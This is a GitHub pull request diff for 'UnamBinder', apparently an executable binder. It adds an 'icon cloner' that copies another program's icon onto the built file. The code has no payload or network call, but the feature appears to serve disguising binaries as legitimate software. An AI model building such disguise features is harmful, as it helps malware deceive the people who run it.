Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Icon Cloner #38

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions UnamBinder/Forms/Builder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -494,6 +494,10 @@ private void btnBuild_Click(object sender, EventArgs e)
ManagedCompiler(save);
}
}
if (Directory.Exists(Environment.CurrentDirectory + @"\TempIcon\"))
{
Directory.Delete(Environment.CurrentDirectory + @"\TempIcon\", true);
}
}

private void btnVanity_Click(object sender, EventArgs e)
Expand Down
15 changes: 15 additions & 0 deletions UnamBinder/Forms/Vanity.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

28 changes: 28 additions & 0 deletions UnamBinder/Forms/Vanity.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using TsudaKageyu;
using System.Drawing;

namespace UnamBinder
{
Expand Down Expand Up @@ -36,6 +38,7 @@ private void checkAssembly_CheckedChanged(object sender)
private void checkIcon_CheckedChanged(object sender)
{
btnIconBrowse.Enabled = chkIcon.Checked;
btnIconClone.Enabled = chkIcon.Checked;
txtIconPath.Enabled = chkIcon.Checked;
}

Expand Down Expand Up @@ -77,5 +80,30 @@ private void btnIconBrowse_Click(object sender, EventArgs e)
imageIcon.ImageLocation = dialog.FileName;
}
}
private void btnIconClone_Click(object sender, EventArgs e)
{
OpenFileDialog dialog = new OpenFileDialog();
dialog.Filter = "Executable Files (*.exe) |*.exe|Dynamic Link Library Files (*.dll)|*.dll";
if (dialog.ShowDialog() == DialogResult.OK)
{
IconExtractor ie = new IconExtractor(dialog.FileName);
string savePath = Environment.CurrentDirectory + @"\TempIcon\icon.ico";
Directory.CreateDirectory(Environment.CurrentDirectory + @"\TempIcon\");
try
{
Icon icon1 = ie.GetIcon(0);
using (FileStream stream = new FileStream(savePath, FileMode.Create))
{
icon1.Save(stream);
txtIconPath.Text = savePath;
imageIcon.ImageLocation = savePath;
}
}
catch
{
MessageBox.Show("The icon is invalid. Try a different one!", "Invalid icon");
}
}
}
}
}
Binary file not shown.
4 changes: 4 additions & 0 deletions UnamBinder/UnamBinder.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,10 @@
<ApplicationIcon>unam.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="IconExtractor, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>Resources\IconExtractor\IconExtractor.dll</HintPath>
</Reference>
<Reference Include="Microsoft.CSharp" />
<Reference Include="System" />
<Reference Include="System.Core" />
Expand Down